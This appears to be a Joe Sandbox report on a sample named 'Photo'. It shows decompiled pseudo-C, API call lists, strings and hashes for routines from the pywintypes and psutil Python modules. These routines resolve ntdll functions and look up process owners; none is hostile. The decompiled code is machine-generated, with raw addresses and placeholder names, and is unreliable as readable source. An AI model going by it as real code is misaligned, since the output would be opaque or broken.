String ID: ABOVE_NORMAL_PRIORITY_CLASS$BELOW_NORMAL_PRIORITY_CLASS$ERROR_ACCESS_DENIED$ERROR_INVALID_NAME$ERROR_PRIVILEGE_NOT_HELD$ERROR_SERVICE_DOES_NOT_EXIST$HIGH_PRIORITY_CLASS$IDLE_PRIORITY_CLASS$INFINITE$MIB_TCP_STATE_CLOSED$MIB_TCP_STATE_CLOSE_WAIT$MIB_TCP_STATE_CLOSING$MIB_TCP_STATE_DELETE_TCB$MIB_TCP_STATE_ESTAB$MIB_TCP_STATE_FIN_WAIT1$MIB_TCP_STATE_FIN_WAIT2$MIB_TCP_STATE_LAST_ACK$MIB_TCP_STATE_LISTEN$MIB_TCP_STATE_SYN_RCVD$MIB_TCP_STATE_SYN_SENT$MIB_TCP_STATE_TIME_WAIT$MIB_TCP_STATE_TIME_WAIT$NORMAL_PRIORITY_CLASS$PSUTIL_CONN_NONE$REALTIME_PRIORITY_CLASS$TimeoutAbandoned$TimeoutExpired$WINDOWS_10$WINDOWS_7$WINDOWS_8$WINDOWS_8_1$WINDOWS_SERVER_2003$WINDOWS_VISTA$WINDOWS_XP$WINVER$_psutil_windows$_psutil_windows.Error$_psutil_windows.TimeoutAbandoned$_psutil_windows.TimeoutExpired$version
API String ID: 3572930849-2349806778
Opcode ID: 760644d49508c52b141e2aeb1c1b21cd1e6ec88706d33ae1129e140603eac464
Instruction ID: 7a6e79d05b7a84252805a899888f428630b509d897cfd40458188872899a2c9c
Opcode Fuzzy Hash: 760644d49508c52b141e2aeb1c1b21cd1e6ec88706d33ae1129e140603eac464
Instruction Fuzzy Hash: 6D511AA07C275535F12372265D0FFAF3E099FD2F55F06400BFE86791C09AD9560289AE

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA9F0 Relevance: 87.7, APIs: 31, Strings: 19, Instructions: 218COMMON

Download Yara Rule

APIs

Part of subcall function 1E7AA790: PyEval_InitThreads.PYTHON27 ref: 1E7AA793
Part of subcall function 1E7AA790: PyDict_New.PYTHON27 ref: 1E7AA7AB
Part of subcall function 1E7AA790: ?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(pywintypes,000000FF), ref: 1E7AA7BE

Py_InitModule4.PYTHON27(pywintypes,1E7BA6A0,00000000,00000000,000003F5), ref: 1E7AAA12
PyModule_GetDict.PYTHON27(00000000), ref: 1E7AAA27
PyDict_SetItemString.PYTHON27(00000000,error,02FC03E0), ref: 1E7AAA62
PyDict_SetItemString.PYTHON27(00000000,com_error,02FC05B8), ref: 1E7AAA7C
PyDict_SetItemString.PYTHON27(00000000,TRUE,6C6B3454), ref: 1E7AAA97
PyDict_SetItemString.PYTHON27(00000000,FALSE,6C6B3384), ref: 1E7AAAB2
PyModule_AddIntConstant.PYTHON27(00000000,WAVE_FORMAT_PCM,00000001), ref: 1E7AAAC8
PyDict_SetItemString.PYTHON27(00000000,UnicodeType,6C69F288), ref: 1E7AAAE6

Part of subcall function 1E7A8770: PyType_Ready.PYTHON27(?,1E7AAAFA,00000000), ref: 1E7A8775
Part of subcall function 1E7A8770: PyDict_SetItemString.PYTHON27(?,TimeType,?), ref: 1E7A8792

PyType_Ready.PYTHON27(?), ref: 1E7AAB10
PyDict_SetItemString.PYTHON27(00000000,IIDType,?), ref: 1E7AAB29
PyType_Ready.PYTHON27(?), ref: 1E7AAB3C
PyDict_SetItemString.PYTHON27(00000000,SECURITY_DESCRIPTORType,?), ref: 1E7AAB55
PyType_Ready.PYTHON27(?), ref: 1E7AAB68
PyDict_SetItemString.PYTHON27(00000000,SECURITY_ATTRIBUTESType,?), ref: 1E7AAB81
PyType_Ready.PYTHON27(?), ref: 1E7AAB94
PyDict_SetItemString.PYTHON27(00000000,SIDType,?), ref: 1E7AABAD
PyType_Ready.PYTHON27(?), ref: 1E7AABC0
PyDict_SetItemString.PYTHON27(00000000,ACLType,?), ref: 1E7AABD9
PyType_Ready.PYTHON27(?), ref: 1E7AABEC
PyDict_SetItemString.PYTHON27(00000000,HANDLEType,?), ref: 1E7AAC05
PyType_Ready.PYTHON27(?), ref: 1E7AAC18
PyDict_SetItemString.PYTHON27(00000000,OVERLAPPEDType,?), ref: 1E7AAC31
PyType_Ready.PYTHON27(?), ref: 1E7AAC40
PyDict_SetItemString.PYTHON27(00000000,DEVMODEAType,?), ref: 1E7AAC55
PyType_Ready.PYTHON27(?), ref: 1E7AAC64
PyDict_SetItemString.PYTHON27(00000000,DEVMODEWType,?), ref: 1E7AAC79
PyDict_SetItemString.PYTHON27(00000000,DEVMODEType,?), ref: 1E7AAC8E
PyType_Ready.PYTHON27(?), ref: 1E7AAC9D
PyDict_SetItemString.PYTHON27(00000000,WAVEFORMATEXType,?), ref: 1E7AACB2
PyErr_SetString.PYTHON27(?,Could not initialise the error objects), ref: 1E7AACC9

Strings

TRUE, xrefs: 1E7AAA91
DEVMODEType, xrefs: 1E7AAC88
OVERLAPPEDType, xrefs: 1E7AAC2B
SECURITY_ATTRIBUTESType, xrefs: 1E7AAB7B
WAVE_FORMAT_PCM, xrefs: 1E7AAAC2
WAVEFORMATEXType, xrefs: 1E7AACAC
com_error, xrefs: 1E7AAA76
Could not initialise the error objects, xrefs: 1E7AACC3
SIDType, xrefs: 1E7AABA7
ACLType, xrefs: 1E7AABD3
IIDType, xrefs: 1E7AAB23
pywintypes, xrefs: 1E7AAA0D
DEVMODEAType, xrefs: 1E7AAC4F
SECURITY_DESCRIPTORType, xrefs: 1E7AAB4F
FALSE, xrefs: 1E7AAAAC
HANDLEType, xrefs: 1E7AABFF
UnicodeType, xrefs: 1E7AAAE0
DEVMODEWType, xrefs: 1E7AAC73
error, xrefs: 1E7AAA5C

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Dict_String$Item$ReadyType_$InitModule_$ConstantCoreDictErr_Eval_FromModule4String@@String_ThreadsU_object@@
String ID: ACLType$Could not initialise the error objects$DEVMODEAType$DEVMODEType$DEVMODEWType$FALSE$HANDLEType$IIDType$OVERLAPPEDType$SECURITY_ATTRIBUTESType$SECURITY_DESCRIPTORType$SIDType$TRUE$UnicodeType$WAVEFORMATEXType$WAVE_FORMAT_PCM$com_error$error$pywintypes
API String ID: 3659302480-1306541161
Opcode ID: 04d75ba4369f624dc0d7d4b3c8164a8568bc094ea5c0c00cafa2e993e4c2c7b4
Instruction ID: a3cd2f8afdb65668ff0279b1e6ad5e85d09e45cb41d74c6f41b70fc01a7c2a32
Opcode Fuzzy Hash: 04d75ba4369f624dc0d7d4b3c8164a8568bc094ea5c0c00cafa2e993e4c2c7b4
Instruction Fuzzy Hash: 0F514F7090156423F51072786D91DEE31494DD2339F2D0721FEBAE13F0E61A916BCBA7

Uniqueness

Uniqueness Score: -1.00%

Function 02767CA0 Relevance: 71.9, APIs: 7, Strings: 34, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E02767CA0(void* __eflags) {
				intOrPtr _t1;
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				struct HINSTANCE__* _t5;
				_Unknown_base(*)()* _t6;
				intOrPtr _t7;
				intOrPtr _t8;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t16;
				intOrPtr* _t35;
				void* _t38;
				void* _t39;

				_t1 = E02767BE0("ntdll.dll", "NtQuerySystemInformation");
				_t39 = _t38 + 8;
				 *0x276dbe4 = _t1;
				if(_t1 != 0) {
					_t2 = GetModuleHandleA("ntdll.dll");
					_t35 =  *0x27692cc;
					if(_t2 != 0) {
						_t3 = GetProcAddress(_t2, "NtQueryInformationProcess");
						if(_t3 == 0) {
							_push("NtQueryInformationProcess");
							goto L6;
						}
					} else {
						_push("ntdll.dll");
						L6:
						 *_t35(0);
						_t39 = _t39 + 8;
						_t3 = 0;
					}
					 *0x276dbf0 = _t3;
					if(_t3 == 0) {
						L24:
						return 1;
					} else {
						_t5 = GetModuleHandleA("ntdll.dll");
						if(_t5 != 0) {
							_t6 = GetProcAddress(_t5, "NtSetInformationProcess");
							if(_t6 == 0) {
								_push("NtSetInformationProcess");
								goto L12;
							}
						} else {
							_push("ntdll.dll");
							L12:
							 *_t35(0);
							_t39 = _t39 + 8;
							_t6 = 0;
						}
						 *0x276dc10 = _t6;
						if(_t6 == 0) {
							goto L24;
						} else {
							_t7 = E02767BE0("winsta.dll", "WinStationQueryInformationW");
							 *0x276dc0c = _t7;
							if(_t7 == 0) {
								goto L24;
							} else {
								_t8 = E02767BE0("ntdll.dll", "NtQueryObject");
								 *0x276dbec = _t8;
								if(_t8 == 0) {
									goto L24;
								} else {
									_t9 = E02767BE0("ntdll.dll", "RtlIpv4AddressToStringA");
									 *0x276dc1c = _t9;
									if(_t9 == 0) {
										goto L24;
									} else {
										_t10 = E02767BE0("iphlpapi.dll", "GetExtendedTcpTable");
										 *0x276dc00 = _t10;
										if(_t10 == 0) {
											goto L24;
										} else {
											_t11 = E02767BE0("iphlpapi.dll", "GetExtendedUdpTable");
											 *0x276dc08 = _t11;
											if(_t11 == 0) {
												goto L24;
											} else {
												_t12 = E02767BE0("ntdll.dll", "RtlGetVersion");
												 *0x276dbfc = _t12;
												if(_t12 == 0) {
													goto L24;
												} else {
													_t13 = E02767BE0("ntdll", "NtSuspendProcess");
													 *0x276dbe0 = _t13;
													if(_t13 == 0) {
														goto L24;
													} else {
														_t14 = E02767BE0("ntdll", "NtResumeProcess");
														 *0x276dc18 = _t14;
														if(_t14 == 0) {
															goto L24;
														} else {
															_t15 = E02767BE0("ntdll", "NtQueryVirtualMemory");
															 *0x276dc14 = _t15;
															if(_t15 == 0) {
																goto L24;
															} else {
																_t16 = E02767BE0("ntdll", "RtlNtStatusToDosErrorNoTeb");
																 *0x276dbf8 = _t16;
																if(_t16 != 0) {
																	 *0x276dbf4 = E02767BE0("ntdll.dll", "RtlIpv6AddressToStringA");
																	 *0x276dbe8 = E02767BB0("kernel32", "GetTickCount64");
																	 *0x276dbdc = E02767BB0("kernel32", "GetActiveProcessorCount");
																	 *0x276dc04 = E02767BE0("kernel32", "GetLogicalProcessorInformationEx");
																	 *0x2769288();
																	return 0;
																} else {
																	goto L24;
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				} else {
					return 1;
				}
			}

0x02767caa
0x02767caf
0x02767cb2
0x02767cb9
0x02767ccf
0x02767cd7
0x02767cdf
0x02767cee
0x02767cf2
0x02767cf4
0x00000000
0x02767cf4
0x02767ce1
0x02767ce1
0x02767cf9
0x02767cfb
0x02767cfd
0x02767d00
0x02767d00
0x02767d02
0x02767d09
0x02767e6a
0x02767e72
0x02767d0f
0x02767d14
0x02767d18
0x02767d27
0x02767d2b
0x02767d2d
0x00000000
0x02767d2d
0x02767d1a
0x02767d1a
0x02767d32
0x02767d34
0x02767d36
0x02767d39
0x02767d39
0x02767d3b
0x02767d42
0x00000000
0x02767d48
0x02767d52
0x02767d5a
0x02767d61
0x00000000
0x02767d67
0x02767d71
0x02767d79
0x02767d80
0x00000000
0x02767d86
0x02767d90
0x02767d98
0x02767d9f
0x00000000
0x02767da5
0x02767daf
0x02767db7
0x02767dbe
0x00000000
0x02767dc4
0x02767dce
0x02767dd6
0x02767ddd
0x00000000
0x02767de3
0x02767ded
0x02767df5
0x02767dfc
0x00000000
0x02767dfe
0x02767e08
0x02767e10
0x02767e17
0x00000000
0x02767e19
0x02767e23
0x02767e2b
0x02767e32
0x00000000
0x02767e34
0x02767e3e
0x02767e46
0x02767e4d
0x00000000
0x02767e4f
0x02767e59
0x02767e61
0x02767e68
0x02767e8c
0x02767ea0
0x02767eb4
0x02767ec1
0x02767ec6
0x02767ed1
0x00000000
0x00000000
0x00000000
0x02767e68
0x02767e4d
0x02767e32
0x02767e17
0x02767dfc
0x02767ddd
0x02767dbe
0x02767d9f
0x02767d80
0x02767d61
0x02767d42
0x02767cbb
0x02767cc0
0x02767cc0

APIs

Part of subcall function 02767BE0: PyEval_SaveThread.PYTHON27(?,00000000,?,02767CAF,ntdll.dll,NtQuerySystemInformation,02767FF5,027659E9), ref: 02767BE3
Part of subcall function 02767BE0: LoadLibraryA.KERNEL32(?,?,00000000,?,02767CAF,ntdll.dll,NtQuerySystemInformation,02767FF5,027659E9), ref: 02767BF0
Part of subcall function 02767BE0: PyEval_RestoreThread.PYTHON27(00000000,?,00000000,?,02767CAF,ntdll.dll,NtQuerySystemInformation,02767FF5,027659E9), ref: 02767BF9
Part of subcall function 02767BE0: PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000,?,027659E9), ref: 02767C08

GetModuleHandleA.KERNEL32(ntdll.dll,?,00000000,?,02767FF5,027659E9), ref: 02767CCF
PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000,NtQueryInformationProcess,?,00000000,?,02767FF5,027659E9), ref: 02767CFB
GetModuleHandleA.KERNEL32(ntdll.dll,?,00000000,?,02767FF5,027659E9), ref: 02767D14
PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000,NtSetInformationProcess,?,00000000,?,02767FF5,027659E9), ref: 02767D34

Strings

ntdll, xrefs: 02767E39
NtSetInformationProcess, xrefs: 02767D21, 02767D2D
kernel32, xrefs: 02767EAF
GetExtendedUdpTable, xrefs: 02767DC4
GetLogicalProcessorInformationEx, xrefs: 02767EAA
NtQueryVirtualMemory, xrefs: 02767E34
ntdll.dll, xrefs: 02767DE8
ntdll.dll, xrefs: 02767D6C
ntdll, xrefs: 02767E1E
ntdll.dll, xrefs: 02767E78
winsta.dll, xrefs: 02767D4D
NtQueryInformationProcess, xrefs: 02767CE8, 02767CF4
kernel32, xrefs: 02767E9B
ntdll.dll, xrefs: 02767D0F, 02767D1A
RtlGetVersion, xrefs: 02767DE3
ntdll, xrefs: 02767E54
GetExtendedTcpTable, xrefs: 02767DA5
RtlIpv4AddressToStringA, xrefs: 02767D86
iphlpapi.dll, xrefs: 02767DC9
ntdll, xrefs: 02767E03
iphlpapi.dll, xrefs: 02767DAA
NtQuerySystemInformation, xrefs: 02767CA0
WinStationQueryInformationW, xrefs: 02767D48
kernel32, xrefs: 02767E87
NtResumeProcess, xrefs: 02767E19
GetActiveProcessorCount, xrefs: 02767E96
GetTickCount64, xrefs: 02767E82
ntdll.dll, xrefs: 02767CA5
RtlNtStatusToDosErrorNoTeb, xrefs: 02767E4F
ntdll.dll, xrefs: 02767CCA, 02767CE1
NtSuspendProcess, xrefs: 02767DFE
NtQueryObject, xrefs: 02767D67
RtlIpv6AddressToStringA, xrefs: 02767E73
ntdll.dll, xrefs: 02767D8B

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_FilenameFromWindowsWith$Eval_HandleModuleThread$LibraryLoadRestoreSave
String ID: GetActiveProcessorCount$GetExtendedTcpTable$GetExtendedUdpTable$GetLogicalProcessorInformationEx$GetTickCount64$NtQueryInformationProcess$NtQueryObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtResumeProcess$NtSetInformationProcess$NtSuspendProcess$RtlGetVersion$RtlIpv4AddressToStringA$RtlIpv6AddressToStringA$RtlNtStatusToDosErrorNoTeb$WinStationQueryInformationW$iphlpapi.dll$iphlpapi.dll$kernel32$kernel32$kernel32$ntdll$ntdll$ntdll$ntdll$ntdll.dll$ntdll.dll$ntdll.dll$ntdll.dll$ntdll.dll$ntdll.dll$ntdll.dll$winsta.dll
API String ID: 3545709012-3537588484
Opcode ID: 47a3555af156bbd0cd0282043601d4cb233f86acbb9746acfe904b38b2f756fc
Instruction ID: e452c54c7e09561079a0b73197bb28fe7af1f6a9b639980da4586b9b207b1a45
Opcode Fuzzy Hash: 47a3555af156bbd0cd0282043601d4cb233f86acbb9746acfe904b38b2f756fc
Instruction Fuzzy Hash: 2B4162F0FF431366BB356BB66C1EA366F859B14ACE7158421EC0AE5241FFB1C1148A62

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA790 Relevance: 50.9, APIs: 21, Strings: 8, Instructions: 186threadCOMMON

Download Yara Rule

APIs

PyEval_InitThreads.PYTHON27 ref: 1E7AA793

Part of subcall function 1E7A9D00: PyThreadState_Swap.PYTHON27(00000000,?,?,?,1E7AA79E), ref: 1E7A9D1A
Part of subcall function 1E7A9D00: Py_FatalError.PYTHON27(pywintypes: can not setup interpreter state, as current state is invalid), ref: 1E7A9D2A
Part of subcall function 1E7A9D00: PyThreadState_Swap.PYTHON27(00000000), ref: 1E7A9D38
Part of subcall function 1E7A9D00: LocalAlloc.KERNEL32(00000040,00000008,?,?,?,1E7AA79E), ref: 1E7A9D41
Part of subcall function 1E7A9D00: Py_FatalError.PYTHON27(Out of memory allocating thread state.,?,?,?,1E7AA79E), ref: 1E7A9D52
Part of subcall function 1E7A9D00: TlsSetValue.KERNEL32(0000001E,00000000,?,?,?,1E7AA79E), ref: 1E7A9D5F
Part of subcall function 1E7A9D00: PyThreadState_Swap.PYTHON27(00000000,?,?,?,1E7AA79E), ref: 1E7A9D67
Part of subcall function 1E7A9D00: PyThreadState_Swap.PYTHON27(00000000,?,?,?,1E7AA79E), ref: 1E7A9D6C

PyDict_New.PYTHON27 ref: 1E7AA7AB
?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(pywintypes,000000FF), ref: 1E7AA7BE

Part of subcall function 1E7A8D50: PyString_FromStringAndSize.PYTHON27(000000FF,000000FF,?,1E7A9FDC,?,000000FF,00000000,?,6C423D3F), ref: 1E7A8D6E

PyDict_SetItemString.PYTHON27(00000000,Exception,00000000), ref: 1E7AA7F9
PyDict_SetItemString.PYTHON27(00000000,__name__,00000000), ref: 1E7AA802
PyImport_ImportModule.PYTHON27(__builtin__), ref: 1E7AA81D
PyDict_SetItemString.PYTHON27(00000000,__builtins__,00000000), ref: 1E7AA833
PyRun_StringFlags.PYTHON27(class error(Exception): def __init__(self, *args, **kw): nargs = len(args) if nargs > 0: self.winerror = args[0] else: self.winerror = None if nargs > 1: self.funcname = args[1] else: self.funcname = None if nargs > 2: self.strerror =,00000101,00000000,00000000,00000000), ref: 1E7AA860
PyDict_GetItemString.PYTHON27(00000000,error), ref: 1E7AA88E
PyDict_GetItemString.PYTHON27(00000000,com_error), ref: 1E7AA8A4
PyType_Ready.PYTHON27(?), ref: 1E7AA8D0
PyType_Ready.PYTHON27(?), ref: 1E7AA8E3
PyType_Ready.PYTHON27(?), ref: 1E7AA8F6
PyType_Ready.PYTHON27(?), ref: 1E7AA909
PyType_Ready.PYTHON27(?), ref: 1E7AA91C
PyType_Ready.PYTHON27(?), ref: 1E7AA92F
PyType_Ready.PYTHON27(?), ref: 1E7AA942
PyType_Ready.PYTHON27(?), ref: 1E7AA955
PyType_Ready.PYTHON27(?), ref: 1E7AA968
PyType_Ready.PYTHON27(?), ref: 1E7AA97B
PyType_Ready.PYTHON27(?), ref: 1E7AA98E

Strings

class error(Exception): def __init__(self, *args, **kw): nargs = len(args) if nargs > 0: self.winerror = args[0] else: self.winerror = None if nargs > 1: self.funcname = args[1] else: self.funcname = None if nargs > 2: self.strerror =, xrefs: 1E7AA85B
__builtin__, xrefs: 1E7AA818
__name__, xrefs: 1E7AA7FC
pywintypes, xrefs: 1E7AA7B9
__builtins__, xrefs: 1E7AA82D
error, xrefs: 1E7AA888
Exception, xrefs: 1E7AA7F3
com_error, xrefs: 1E7AA89E

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: ReadyType_$String$Dict_$Item$State_SwapThread$ErrorFatalFromString_$AllocCoreEval_FlagsImportImport_InitLocalModuleRun_SizeString@@ThreadsU_object@@Value
String ID: Exception$__builtin__$__builtins__$__name__$class error(Exception): def __init__(self, *args, **kw): nargs = len(args) if nargs > 0: self.winerror = args[0] else: self.winerror = None if nargs > 1: self.funcname = args[1] else: self.funcname = None if nargs > 2: self.strerror =$com_error$error$pywintypes
API String ID: 1769851706-100239833
Opcode ID: 4bdb7af5074901396f889b8c10163665d59be213996f8c28125b465a0a36a165
Instruction ID: fcf6e59f88b5f32409d955829cca162579bd6834f10d8d1bb6bf9f40d63551b7
Opcode Fuzzy Hash: 4bdb7af5074901396f889b8c10163665d59be213996f8c28125b465a0a36a165
Instruction Fuzzy Hash: CB51B0718015115BF101BA78AC908EB32659EC5338F280322EA7B926F1FB24D957DF93

Uniqueness

Uniqueness Score: -1.00%

Function 027628B0 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E027628B0(intOrPtr _a8) {
				union _SID_NAME_USE _v8;
				long _v16;
				long _v20;
				intOrPtr* _v24;
				intOrPtr* _v28;
				void* _v32;
				void* _v36;
				void* _t43;
				void* _t51;
				intOrPtr* _t52;
				intOrPtr* _t53;
				WCHAR* _t70;
				void* _t73;
				WCHAR* _t74;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr* _t81;
				WCHAR* _t100;
				short _t107;
				short _t108;
				short* _t120;
				short* _t121;
				void* _t126;
				intOrPtr* _t128;
				intOrPtr* _t129;
				void* _t130;
				WCHAR* _t132;
				intOrPtr* _t133;
				intOrPtr* _t134;
				intOrPtr* _t135;
				void* _t136;
				void** _t138;
				void** _t139;
				void** _t140;

				_t132 = 0;
				_v32 = 0;
				_t136 = 0;
				_t100 = 0;
				_v24 = 0;
				_v28 = 0;
				_t43 =  *0x2769308(_a8, "l",  &_v8);
				_t138 =  &(( &_v32)[3]);
				if(_t43 != 0) {
					_t126 = E027660C0(_v8, 0x1000);
					_t139 =  &(_t138[2]);
					if(_t126 == 0) {
						L46:
						return 0;
					} else {
						if(OpenProcessToken(_t126, 8,  &_v32) != 0) {
							CloseHandle(_t126);
							_t128 =  *0x27691b4; // 0x6c423d3f
							_v20 = 0x100;
							_t136 =  *_t128(0x100);
							_t140 =  &(_t139[1]);
							if(_t136 == 0) {
								L14:
								 *0x27692bc();
								goto L5;
							} else {
								while(GetTokenInformation(_v32, 1, _t136, _v20,  &_v20) == 0) {
									if(GetLastError() != 0x7a) {
										E02761090("GetTokenInformation");
										_t140 =  &(_t140[1]);
										goto L5;
									} else {
										 *0x2769214(_t136);
										_t136 =  *_t128(_v24);
										_t140 =  &(_t140[2]);
										if(_t136 != 0) {
											continue;
										} else {
											goto L14;
										}
									}
									goto L47;
								}
								CloseHandle(_v36);
								_v36 = _t100;
								_v16 = 0x100;
								_v20 = 0x100;
								_t132 =  *_t128(0x200);
								_t140 =  &(_t140[1]);
								if(_t132 == 0) {
									L21:
									 *0x27692bc();
									goto L5;
								} else {
									while(1) {
										_t100 =  *_t128(_v20 + _v20);
										_t140 =  &(_t140[1]);
										if(_t100 == 0) {
											goto L14;
										}
										if(LookupAccountSidW(0,  *_t136, _t132,  &_v16, _t100,  &_v20,  &_v8) != 0) {
											_t70 = _t100;
											_t25 =  &(_t70[1]); // 0x2
											_t120 = _t25;
											do {
												_t107 =  *_t70;
												_t70 =  &(_t70[1]);
											} while (_t107 != 0);
											_t129 =  *0x276928c;
											_t73 =  *_t129(_t100, _t70 - _t120 >> 1);
											_t140 =  &(_t140[2]);
											_v32 = _t73;
											if(_t73 == 0) {
												goto L5;
											} else {
												_t74 = _t132;
												_t27 =  &(_t74[1]); // 0x2
												_t121 = _t27;
												do {
													_t108 =  *_t74;
													_t74 =  &(_t74[1]);
												} while (_t108 != 0);
												_t77 =  *_t129(_t132, _t74 - _t121 >> 1);
												_t140 =  &(_t140[2]);
												_v28 = _t77;
												if(_t77 == 0) {
													goto L5;
												} else {
													_t130 =  *0x27692b4("OO", _v32, _t77);
													_t140 =  &(_t140[3]);
													if(_t130 == 0) {
														goto L5;
													} else {
														_t80 = _v32;
														 *_t80 =  *_t80 + 0xffffffff;
														if( *_t80 == 0) {
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t80 + 4)) + 0x18))))(_t80);
															_t140 =  &(_t140[1]);
														}
														_t81 = _v28;
														 *_t81 =  *_t81 + 0xffffffff;
														if( *_t81 == 0) {
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t81 + 4)) + 0x18))))(_t81);
															_t140 =  &(_t140[1]);
														}
														_t134 =  *0x2769214;
														 *_t134(_t132);
														 *_t134(_t100);
														 *_t134(_t136);
														return _t130;
													}
												}
											}
										} else {
											if(GetLastError() != 0x7a) {
												E02761090("LookupAccountSidW");
												_t140 =  &(_t140[1]);
												goto L5;
											} else {
												_t135 =  *0x2769214;
												 *_t135(_t132);
												 *_t135(_t100);
												_t132 =  *_t128(_v16 + _v16);
												_t140 =  &(_t140[3]);
												if(_t132 != 0) {
													continue;
												} else {
													goto L21;
												}
											}
										}
										goto L47;
									}
									goto L14;
								}
							}
						} else {
							E02761090("OpenProcessToken");
							_t140 =  &(_t139[1]);
							CloseHandle(_t126);
							L5:
							_t51 = _v32;
							if(_t51 != 0) {
								CloseHandle(_t51);
							}
							if(_t132 == 0) {
								_t133 =  *0x2769214;
							} else {
								_t133 =  *0x2769214;
								 *_t133(_t132);
								_t140 =  &(_t140[1]);
							}
							if(_t100 != 0) {
								 *_t133(_t100);
								_t140 =  &(_t140[1]);
							}
							if(_t136 != 0) {
								 *_t133(_t136);
								_t140 =  &(_t140[1]);
							}
							_t52 = _v28;
							if(_t52 != 0) {
								 *_t52 =  *_t52 + 0xffffffff;
								if( *_t52 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t52 + 4)) + 0x18))))(_t52);
									_t140 =  &(_t140[1]);
								}
							}
							_t53 = _v24;
							if(_t53 != 0) {
								 *_t53 =  *_t53 + 0xffffffff;
								if( *_t53 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t53 + 4)) + 0x18))))(_t53);
								}
							}
							goto L46;
						}
					}
				} else {
					return _t43;
				}
				L47:
			}

0x027628bf
0x027628c7
0x027628cb
0x027628cd
0x027628cf
0x027628d3
0x027628d7
0x027628dd
0x027628e2
0x027628fb
0x027628fd
0x02762902
0x02762b88
0x02762b91
0x02762908
0x02762918
0x02762957
0x0276295d
0x02762968
0x02762972
0x02762974
0x02762979
0x027629be
0x027629be
0x00000000
0x0276297b
0x02762980
0x027629a5
0x027629ce
0x027629d3
0x00000000
0x027629a7
0x027629a8
0x027629b5
0x027629b7
0x027629bc
0x00000000
0x00000000
0x00000000
0x00000000
0x027629bc
0x00000000
0x027629a5
0x027629e0
0x027629f0
0x027629f4
0x027629f8
0x027629fe
0x02762a00
0x02762a05
0x02762a65
0x02762a65
0x00000000
0x02762a07
0x02762a07
0x02762a11
0x02762a13
0x02762a18
0x00000000
0x00000000
0x02762a39
0x02762a82
0x02762a84
0x02762a84
0x02762a87
0x02762a87
0x02762a8a
0x02762a8d
0x02762a92
0x02762a9e
0x02762aa0
0x02762aa3
0x02762aa9
0x00000000
0x02762aaf
0x02762aaf
0x02762ab1
0x02762ab1
0x02762ab4
0x02762ab4
0x02762ab7
0x02762aba
0x02762ac5
0x02762ac7
0x02762aca
0x02762ad0
0x00000000
0x02762ad6
0x02762ae9
0x02762aeb
0x02762af0
0x00000000
0x02762af6
0x02762af6
0x02762afa
0x02762afd
0x02762b06
0x02762b08
0x02762b08
0x02762b0b
0x02762b0f
0x02762b12
0x02762b1b
0x02762b1d
0x02762b1d
0x02762b21
0x02762b27
0x02762b2a
0x02762b2d
0x02762b3b
0x02762b3b
0x02762af0
0x02762ad0
0x02762a3b
0x02762a44
0x02762a75
0x02762a7a
0x00000000
0x02762a46
0x02762a47
0x02762a4d
0x02762a50
0x02762a5c
0x02762a5e
0x02762a63
0x00000000
0x00000000
0x00000000
0x00000000
0x02762a63
0x02762a44
0x00000000
0x02762a39
0x00000000
0x02762a07
0x02762a05
